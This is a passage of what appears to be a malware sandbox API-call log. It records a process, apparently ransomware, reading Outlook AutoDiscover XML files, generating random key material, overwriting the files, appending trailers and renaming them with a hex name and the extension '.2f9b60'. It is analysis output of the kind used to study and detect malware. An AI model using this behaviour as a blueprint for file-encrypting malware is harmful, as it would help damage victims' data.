lpNumberOfBytesWritten=0x2f62fb50, lpOverlapped=0x0 | out: lpBuffer=0x42c14bd0*, lpNumberOfBytesWritten=0x2f62fb50*=0x112, lpOverlapped=0x0) returned 1 [0235.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce617e0 [0235.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261100 [0235.883] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261100) returned 1 [0235.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261100 [0235.883] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263f50 [0235.884] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263020 [0235.884] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263020) returned 1 [0235.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.885] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce617e0) returned 1 [0235.885] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce617e0 [0235.885] sprintf (in: _Dest=0x1ce617e0, _Format="%c%c" | out: _Dest="37") returned 2 [0235.885] sprintf (in: _Dest=0x1ce617e2, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.885] sprintf (in: _Dest=0x1ce617e4, _Format="%c%c" | out: _Dest="c3") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617e6, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617e8, _Format="%c%c" | out: _Dest="5b") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617ea, _Format="%c%c" | out: _Dest="de") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617ec, _Format="%c%c" | out: _Dest="23") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617ee, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617f0, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617f2, _Format="%c%c" | out: _Dest="70") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617f4, _Format="%c%c" | out: _Dest="e4") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617f6, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617f8, _Format="%c%c" | out: _Dest="a2") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617fa, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617fc, _Format="%c%c" | out: _Dest="e4") returned 2 [0235.886] sprintf (in: _Dest=0x1ce617fe, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61800, _Format="%c%c" | out: _Dest="72") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61802, _Format="%c%c" | out: _Dest="90") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61804, _Format="%c%c" | out: _Dest="a9") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61806, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61808, _Format="%c%c" | out: _Dest="47") returned 2 [0235.886] sprintf (in: _Dest=0x1ce6180a, _Format="%c%c" | out: _Dest="32") returned 2 [0235.886] sprintf (in: _Dest=0x1ce6180c, _Format="%c%c" | out: _Dest="40") returned 2 [0235.886] sprintf (in: _Dest=0x1ce6180e, _Format="%c%c" | out: _Dest="46") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61810, _Format="%c%c" | out: _Dest="e2") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61812, _Format="%c%c" | out: _Dest="b1") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61814, _Format="%c%c" | out: _Dest="1b") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61816, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.886] sprintf (in: _Dest=0x1ce61818, _Format="%c%c" | out: _Dest="a9") returned 2 [0235.886] sprintf (in: _Dest=0x1ce6181a, _Format="%c%c" | out: _Dest="10") returned 2 [0235.886] sprintf (in: _Dest=0x1ce6181c, _Format="%c%c" | out: _Dest="4a") returned 2 [0235.886] sprintf (in: _Dest=0x1ce6181e, _Format="%c%c" | out: _Dest="46") returned 2 [0235.886] RtlInitAnsiString (in: DestinationString=0x2f62fbc8, SourceString="37f3c3d75bde23d8a170e4bba29be42d7290a9f747324046e2b11bf7a9104a46" | out: DestinationString="37f3c3d75bde23d8a170e4bba29be42d7290a9f747324046e2b11bf7a9104a46") [0235.887] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f62fb98, SourceString="37f3c3d75bde23d8a170e4bba29be42d7290a9f747324046e2b11bf7a9104a46", AllocateDestinationString=1 | out: DestinationString="37f3c3d75bde23d8a170e4bba29be42d7290a9f747324046e2b11bf7a9104a46") returned 0x0 [0235.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86a7d0 [0235.887] wcscat (in: _Dest=0x431287e0, _Source="37f3c3d75bde23d8" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\37f3c3d75bde23d8") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\37f3c3d75bde23d8" [0235.887] wcscat (in: _Dest=0x431287e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\37f3c3d75bde23d8.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\37f3c3d75bde23d8.2f9b60" [0235.887] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\37f3c3d75bde23d8.2f9b60", NtPathName=0x2f62fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\37f3c3d75bde23d8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x430d6c60 Thread: id = 3836 os_tid = 0x1f48 [0227.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml")) returned 0x20 [0229.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML", dwFileAttributes=0x20) returned 1 [0229.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.VN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.vn.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1b48 [0229.240] GetFileSizeEx (in: hFile=0x1b48, lpFileSize=0x2f0dfb60 | out: lpFileSize=0x2f0dfb60*=812) returned 1 [0229.240] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.240] ReadFile (in: hFile=0x1b48, lpBuffer=0x2f0dfae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f0dfb28, lpOverlapped=0x0 | out: lpBuffer=0x2f0dfae0*, lpNumberOfBytesRead=0x2f0dfb28*=0x4, lpOverlapped=0x0) returned 1 [0229.243] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1fd0 [0229.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c60 [0229.245] NtQuerySystemTime (in: CurrentTime=0x2f0dfa20 | out: CurrentTime=0x2f0dfa20*=132462178332430000) returned 0x0 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x643710d5 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x3a09c8fa [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0xe117fcc [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x5e015e9f [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x40103bc3 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x571a3938 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x7dd0ccbb [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x54902ff3 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x4b82fd00 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x35b96b2 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x2ac88bdb [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0xe092248 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x340a3303 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x487924c8 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x1ef59f00 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x71dd686f [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x657c6b7f [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x746c7f48 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x715beefa [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x68aedc22 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0xff99b58 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x2f5f9095 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x1dcb9292 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x1e154c77 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x5f5c4743 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x77413a33 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x3154d2c3 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x748b3d08 [0229.245] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x12b39466 [0229.246] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x1c383198 [0229.246] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x7281cd93 [0229.246] RtlRandomEx (in: Seed=0x2f0dfa10 | out: Seed=0x2f0dfa10) returned 0x3cd2da63 [0229.253] ReadFile (in: hFile=0x1b48, lpBuffer=0x20411ef0, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x2f0dfa10, lpOverlapped=0x0 | out: lpBuffer=0x20411ef0*, lpNumberOfBytesRead=0x2f0dfa10*=0x32c, lpOverlapped=0x0) returned 1 [0229.253] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.253] WriteFile (in: hFile=0x1b48, lpBuffer=0x2042ff70*, nNumberOfBytesToWrite=0x32c, lpNumberOfBytesWritten=0x2f0dfa14, lpOverlapped=0x0 | out: lpBuffer=0x2042ff70*, lpNumberOfBytesWritten=0x2f0dfa14*=0x32c, lpOverlapped=0x0) returned 1 [0233.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263b00 [0233.287] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0233.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0233.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2042ff70) returned 1 [0233.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20411ef0) returned 1 [0233.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868cc0) returned 1 [0233.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce612e0) returned 1 [0233.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9eeb0 [0233.290] SetFilePointerEx (in: hFile=0x1b48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.290] WriteFile (in: hFile=0x1b48, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2f0dfb30, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2f0dfb30*=0x112, lpOverlapped=0x0) returned 1 [0235.433] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2cc0 [0235.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2cc0) returned 1 [0235.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2cc0 [0235.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2d20 [0235.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b40 [0235.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2b40) returned 1 [0235.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61560) returned 1 [0235.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x1ce61560 [0235.438] sprintf (in: _Dest=0x1ce61560, _Format="%c%c" | out: _Dest="44") returned 2 [0235.438] sprintf (in: _Dest=0x1ce61562, _Format="%c%c" | out: _Dest="7b") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61564, _Format="%c%c" | out: _Dest="0d") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61566, _Format="%c%c" | out: _Dest="b6") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61568, _Format="%c%c" | out: _Dest="7c") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6156a, _Format="%c%c" | out: _Dest="c1") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6156c, _Format="%c%c" | out: _Dest="37") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6156e, _Format="%c%c" | out: _Dest="9d") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61570, _Format="%c%c" | out: _Dest="8f") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61572, _Format="%c%c" | out: _Dest="eb") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61574, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61576, _Format="%c%c" | out: _Dest="57") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61578, _Format="%c%c" | out: _Dest="c9") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6157a, _Format="%c%c" | out: _Dest="12") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6157c, _Format="%c%c" | out: _Dest="15") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6157e, _Format="%c%c" | out: _Dest="d7") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61580, _Format="%c%c" | out: _Dest="b3") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61582, _Format="%c%c" | out: _Dest="6c") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61584, _Format="%c%c" | out: _Dest="9a") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61586, _Format="%c%c" | out: _Dest="d2") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61588, _Format="%c%c" | out: _Dest="48") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6158a, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6158c, _Format="%c%c" | out: _Dest="08") returned 2 [0235.439] sprintf (in: _Dest=0x1ce6158e, _Format="%c%c" | out: _Dest="3f") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61590, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61592, _Format="%c%c" | out: _Dest="23") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61594, _Format="%c%c" | out: _Dest="4c") returned 2 [0235.439] sprintf (in: _Dest=0x1ce61596, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.440] sprintf (in: _Dest=0x1ce61598, _Format="%c%c" | out: _Dest="41") returned 2 [0235.440] sprintf (in: _Dest=0x1ce6159a, _Format="%c%c" | out: _Dest="a2") returned 2 [0235.440] sprintf (in: _Dest=0x1ce6159c, _Format="%c%c" | out: _Dest="40") returned 2 [0235.440] sprintf (in: _Dest=0x1ce6159e, _Format="%c%c" | out: _Dest="4e") returned 2 [0235.440] RtlInitAnsiString (in: DestinationString=0x2f0dfba8, SourceString="447b0db67cc1379d8febbb57c91215d7b36c9ad248ca083ff7234cb441a2404e" | out: DestinationString="447b0db67cc1379d8febbb57c91215d7b36c9ad248ca083ff7234cb441a2404e") [0235.440] RtlAnsiStringToUnicodeString (in: DestinationString=0x2f0dfb78, SourceString="447b0db67cc1379d8febbb57c91215d7b36c9ad248ca083ff7234cb441a2404e", AllocateDestinationString=1 | out: DestinationString="447b0db67cc1379d8febbb57c91215d7b36c9ad248ca083ff7234cb441a2404e") returned 0x0 [0235.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x43108340 [0235.441] wcscat (in: _Dest=0x4312a720, _Source="447b0db67cc1379d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\447b0db67cc1379d") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\447b0db67cc1379d" [0235.441] wcscat (in: _Dest=0x4312a720, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\447b0db67cc1379d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\447b0db67cc1379d.2f9b60" [0235.441] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\447b0db67cc1379d.2f9b60", NtPathName=0x2f0dfb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\447b0db67cc1379d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.441] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x431156e0 Thread: id = 3837 os_tid = 0x1710 [0227.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml")) returned 0x20 [0229.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML", dwFileAttributes=0x20) returned 1 [0229.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\YAHOO.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\yahoo.com.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x317c [0229.239] GetFileSizeEx (in: hFile=0x317c, lpFileSize=0x2f7df780 | out: lpFileSize=0x2f7df780*=806) returned 1 [0229.239] SetFilePointerEx (in: hFile=0x317c, liDistanceToMove=0x322, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.239] ReadFile (in: hFile=0x317c, lpBuffer=0x2f7df700, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2f7df748, lpOverlapped=0x0 | out: lpBuffer=0x2f7df700*, lpNumberOfBytesRead=0x2f7df748*=0x4, lpOverlapped=0x0) returned 1 [0229.415] SetFilePointerEx (in: hFile=0x317c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0c80 [0229.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860690 [0229.417] NtQuerySystemTime (in: CurrentTime=0x2f7df640 | out: CurrentTime=0x2f7df640*=132462178334146000) returned 0x0 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x24ed70b3 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x77ad63e6 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x462154c9 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x53bb818f [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x194f20da [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x42f5f2d3 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x29397304 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x55bb50ce [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x29b41b48 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x112498d [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0xf6a24e2 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x568651bf [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x77727442 [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x3c2d36dc [0229.417] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x55e778bd [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x164b00a0 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x4ce53dbf [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x5c09616d [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x55aa6258 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x1c98f6e [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x1ff7a93 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x149545ac [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x7959ec36 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x5a3021ab [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x24913f9d [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x2ae96ff3 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x23b48551 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x38f42889 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x65dc17e3 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x2a369f83 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x422f5311 [0229.418] RtlRandomEx (in: Seed=0x2f7df630 | out: Seed=0x2f7df630) returned 0x70dba0b [0229.428] ReadFile (in: hFile=0x317c, lpBuffer=0x42af1aa0, nNumberOfBytesToRead=0x326, lpNumberOfBytesRead=0x2f7df630, lpOverlapped=0x0 | out: lpBuffer=0x42af1aa0*, lpNumberOfBytesRead=0x2f7df630*=0x326, lpOverlapped=0x0) returned 1 [0229.428] SetFilePointerEx (in: hFile=0x317c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.428] WriteFile (in: hFile=0x317c, lpBuffer=0x42af92c0*, nNumberOfBytesToWrite=0x326, lpNumberOfBytesWritten=0x2f7df634, lpOverlapped=0x0 | out: lpBuffer=0x42af92c0*, lpNumberOfBytesWritten=0x2f7df634*=0x326, lpOverlapped=0x0) returned 1 [0233.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ec80 [0233.347] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ecb0 [0233.347] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ecb0) returned 1 [0233.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42af92c0) returned 1 [0233.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42af1aa0) returned 1 [0233.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0233.348] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62f50) returned 1 [0233.348] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x2050ecb0 [0233.349] SetFilePointerEx (in: hFile=0x317c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.349] WriteFile (in: hFile=0x317c, lpBuffer=0x42c14990*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2f7df750, lpOverlapped=0x0 | out: lpBuffer=0x42c14990*, lpNumberOfBytesWritten=0x2f7df750*=0x10c, lpOverlapped=0x0) returned 1 [0235.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61560 [0235.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860db0 [0235.502] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860db0) returned 1 [0235.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b860db0 [0235.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860c00 [0235.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8600f0 [0235.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8600f0) returned 1 [0235.504] 